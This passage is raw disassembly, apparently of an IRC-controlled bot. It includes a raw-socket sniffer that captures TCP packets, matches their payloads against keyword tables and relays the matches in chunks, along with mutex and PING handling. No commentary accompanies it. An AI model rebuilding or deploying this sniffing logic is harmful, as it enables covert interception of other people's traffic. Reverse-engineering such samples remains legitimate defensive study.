		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------


loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7B4
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D810
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D884
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D8C8
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax


loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	dword_417218
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_417260
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_41723C
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	dword_417230
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	dword_417208
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	dword_417230
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	dword_41725C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	dword_417230
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41DA94
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	dword_417244
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_1258],	ax


loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	dword_417248
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E


loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh


loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh


loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh


loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------


loc_41642A:				; CODE XREF: sub_415F69+507j
					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	dword_41721C
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	dword_41721C
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41DA60
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------


loc_4165AD:				; CODE XREF: sub_415F69+63Dj
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		dec	eax
		mov	[ebp+var_17B0],	eax


loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------


loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	dword_417230
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------


loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------


loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3


loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DF10


loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41DAC8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------


loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------


loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170AC
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------


loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax


loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------


loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax


loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	dword_4170F4
		and	dword ptr [ebp-4], 0
		push	dword_41DB0C
		push	dword_41DB08
		push	3B7h
		push	dword_41DB04
		push	0
		push	dword_41DB00
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_416B5E
		add	esp, 20h
		and	dword ptr [ebp-1128h], 0
		jmp	short loc_416875
; ---------------------------------------------------------------------------


loc_416868:				; CODE XREF: .packed:loc_4168BAj
		mov	eax, [ebp-1128h]
		inc	eax
		mov	[ebp-1128h], eax


loc_416875:				; CODE XREF: .packed:00416866j
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_416883
		call	sub_407148


loc_416883:				; CODE XREF: .packed:0041687Cj
		push	3E8h
		call	dword_41709C
		lea	eax, [ebp-115Ch]
		push	eax
		push	0
		push	0
		call	dword_4170F8
		mov	[ebp-12F0h], eax
		cmp	dword ptr [ebp-12F0h], 0
		jz	short loc_4168BA
		call	dword_417064
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168BA:				; CODE XREF: .packed:004168ACj
					; .packed:004168B6j
		jmp	short loc_416868
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: .packed:004168B8j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DB00
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DB00
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DB00
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41ED10, eax
		call	sub_410422
		mov	dword_41ED14, eax
		call	sub_410422
		mov	dword_41ED18, eax
		call	sub_410422
		mov	dword_41ED1C, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	0
		call	dword_41708C
		push	eax
		call	dword_417090
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DF10
		push	offset dword_41EC0C
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: .packed:00416949j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp-12F4h], eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: .packed:loc_4169DFj
		mov	eax, [ebp-12F4h]
		dec	eax
		mov	[ebp-12F4h], eax


loc_416983:				; CODE XREF: .packed:00416974j
		cmp	dword ptr [ebp-12F4h], 0
		jnz	short loc_41699F
		push	offset byte_41DF10
		push	offset dword_41EC0C
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_41699F:				; CODE XREF: .packed:0041698Aj
		mov	eax, [ebp-12F4h]
		movsx	eax, byte ptr [ebp+eax-1121h]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp-12F4h]
		lea	eax, [ebp+eax-1120h]
		push	eax
		push	offset dword_41EC0C
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41EC0C
		push	offset dword_41ED20
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: .packed:004169B0j
		jmp	short loc_416976
; ---------------------------------------------------------------------------


loc_4169E1:				; CODE XREF: .packed:0041695Cj
					; .packed:0041699Dj ...
		call	sub_406E8E
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	dword_417264


loc_4169F8:				; CODE XREF: .packed:00416A43j
					; .packed:00416AA7j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	dword ptr [ebp-101Ch], 0


loc_416A19:				; CODE XREF: .packed:00416AE2j
		mov	dword ptr [ebp-4], 1


loc_416A20:				; CODE XREF: .packed:loc_416A6Fj
					; .packed:00416AC0j
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	dword ptr [ebp-101Ch], 19h
		jnz	short loc_416A45
		and	dword ptr [ebp-4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------


loc_416A45:				; CODE XREF: .packed:00416A3Dj
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
